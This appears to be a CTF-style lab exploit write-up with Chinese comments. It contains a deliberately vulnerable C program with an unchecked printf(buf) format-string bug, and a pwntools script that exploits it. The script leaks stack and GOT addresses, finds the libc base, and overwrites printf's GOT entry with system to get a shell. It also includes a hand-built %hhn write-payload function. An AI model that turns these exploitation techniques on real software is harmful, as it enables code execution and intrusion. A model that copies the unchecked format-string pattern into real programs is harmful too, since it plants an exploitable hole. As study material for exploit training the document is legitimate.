
#include
#include
#include
#include
int init_func(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
return 0;
}
int dofunc(){
char buf[0x100];
while (1){
puts("input:");
read(0, buf, 0x100);
if( !strncmp(buf, "quit", 4) ){
break;
}
printf(buf);
}
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
gcc -m32 -fstack-protector fmt_str_level_1.c -o fmt_str_level_1_x86

第一次泄露
第二次泄露
第三次泄露



main_30 = int(io.recv()[2:10], 16)
main_real_addr = main_30 - 30
offset = elf.symbols['main'] - elf.got['puts']
puts_real_got_addr = main_real_addr - offset - 0xb # 这个0xb是在调试中减去的,可能是因为版本的问题
payload_search_bass = flat([puts_got, b'%7$s\x00'])
libc = LibcSearcher('puts', puts_real_addr)
libc_base_addr = puts_real_addr - libc.dump('puts')
print('libc_base_addr is ', hex(libc_base_addr))
sys_addr = libc_base_addr + libc.dump('system')
print('sys_addr is ', hex(sys_addr))
addr_bin_sh = libc_base_addr + libc.dump('str_bin_sh')
offset_addr_of_printf = elf.symbols['main'] - elf.got['printf']
printf_real_got_addr = main_real_addr - offset_addr_of_printf -11
payload_pwntools_create_set_stack = fmtstr_payload(7, {printf_real_got_addr : sys_addr})
from pwn import *
from LibcSearcher import *
# log_level='debug',
def fmt(prev, word, index):
fmtstr = ""
if prev < word:
result = word - prev
fmtstr += "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word -prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode('utf-8')
def fmt_str(offset, size, addr, target):
# offset pianyi
# size 4 or others
# addr : write to addr
# target : content of writing
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
'''
pwntools工具: fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用&n写入的数据, 采用字典形式,格式目标地址:准备修改的值}
第三个参数表示已经输出的字符个数, 这里没有, 为0, 采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hn写。fmtstr payload函数返回的就是payload
payload = fmtstr payload (offset, { addressl:valuel} )
'''
context(log_level='debug', arch='i386', os='linux')
pwnfile = './fmt_str_level_1_x86'
elf = ELF(pwnfile)
#libc = elf.libc
io = process(pwnfile)
payload_search_main = b'%75$p\x00'
io.recvuntil('input:\n')
io.send(payload_search_main)
main_30 = int(io.recv()[2:10], 16)
main_real_addr = main_30 - 30
offset = elf.symbols['main'] - elf.got['puts']
puts_got = main_real_addr - offset - 0xb
print('puts_got_addr is ',hex(puts_got))
payload_search_bass = flat([puts_got, b'%7$s\x00'])
#gdb.attach(io)
io.send(payload_search_bass)
io.recv(4)
puts_real_addr = u32(io.recv(4))
print('puts_real_addr is ', hex(puts_real_addr))
libc = LibcSearcher('puts', puts_real_addr)
libc_base_addr = puts_real_addr - libc.dump('puts')
print('libc_base_addr is ', hex(libc_base_addr))
sys_addr = libc_base_addr + libc.dump('system')
print('sys_addr is ', hex(sys_addr))
addr_bin_sh = libc_base_addr + libc.dump('str_bin_sh')
print('addr_bin_sh is ', hex(addr_bin_sh))
offset_addr_of_printf = elf.symbols['main'] - elf.got['printf']
printf_real_got_addr = main_real_addr - offset_addr_of_printf -11
# 013-008
print('printf_real_got_addr is:', hex(printf_real_got_addr))
system_addr_str = str(hex(sys_addr))
#system_addr_bytes = system_addr_str.encode('utf-8')
#payload_set_stack = p32(printf_real_got_addr) + p32(printf_real_got_addr + 1) + p32(printf_real_got_addr + 2) + p32(printf_real_got_addr + 3) + b_1 + b_2 + b_3 + b_4
#payload_set_stack = p32(printf_real_got_addr) + b"%" + system_addr_bytes + b"c%7$n\x00"
# payload_set_stack = fmt_str(7, 4, printf_real_got_addr, sys_addr)
payload_pwntools_create_set_stack = fmtstr_payload(7, {printf_real_got_addr : sys_addr})
io.recvuntil('input:\n')
gdb.attach(io)
io.send(payload_pwntools_create_set_stack)
io.interactive()
